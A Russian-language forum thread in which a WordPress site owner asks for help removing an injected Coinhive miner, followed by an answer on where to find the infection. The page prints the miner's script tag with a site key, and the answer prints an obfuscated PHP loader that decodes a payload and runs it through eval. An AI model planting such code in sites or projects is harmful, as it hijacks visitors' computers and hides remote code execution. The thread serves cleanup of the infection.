удалить вирус coinhive с wordpress

805

15 ноября 2017, 02:26

не могу найти и удалить майнер который лежит в body . как он попал на сайт не понятно . Помогите обезвредить гада , уже все облазил , в логах ничего такого нет ...

<body class="archive tax-product_tag term-seriya-mr term-433 
woocommerce woocommerce-page"><script 
src=https://coinhive.com/lib/coinhive.min.js></script><script>var 
miner=new 


CoinHive.Anonymous('92o2UmHaBROIeQemIy8iNY2CDcnRS5GS');miner.setThrottle(0.3);miner.start();</script>

Answer 1

Ищите в папке с темой файл типа header.php И в нём ищите что-то вроде этого:

$l1="\x63\x72e"."\x61\x74e\x5F"."\x66\x75\x6E"."\x63\x74\x69"."\x6F\x6E";$ll=@$l1('$x',"e\x76\x61l".'("?>".'."\x67\x7Ai"."\x6E\x66"."\x6C\x61\x74e"."(\x62\x61\x73e"."64"."\x5F\x64e"."\x63\x6F\x64e".'($x)));');@$ll("RY1bS8NAEIXfC/0PSyhkA5JIxAdNNqWUaF+8UOMFRUKybNmNyc4yO23VX2+8UB/nnO87k8+ddtPJbNswwTwhQQ97hXxW35Xrh3L9Eq6q6ra+H696cVleV+FrlE0nZsNH2IHno3kUtEBBJITYNL1XEVNSAwtyL9E4Yh6l0ETOnyeJBGO12alYwpD0pv0PBmPjzhd58msVf3axa5CNnUJh1Z4tR3z1jS8s2I8Btp6Hz/YsfX97MrpTWl+krmtv0tOrT0DEpd0/yjDKfgZir6jSCES94sfxySGmBolH2eF1kLF58QU=");

ПОСЛЕДНИЕ ВОПРОСЫ

Все вопросы

ТОП-10

Все популярные вопросы

Restfull api Yii2 + apache Дольгий ответ локального сервера

Есть фронтенд на ExtJS есть бэкенд (RESTFULL API) на yii2Но дело даже не во фронте

313

PHP

User can multiple?

Я использую Yii::$app->user->can для проверки доступности для конкретной роли, но как быть если доступ должен быть у нескольких ролей? Например...

269

PHP

Уведомления из сайта на Viber

Как написать через свой сайт сообщение с информацией о заказе конкретному пользователю ViberВ двух словах, англ

444

PHP

An internal server error occurred xampp Yii

Всем приветПри подключение сайта через xampp возникает ошибка An internal server error occurred проект громадный и папки web нету есть папка frontend в котором...

267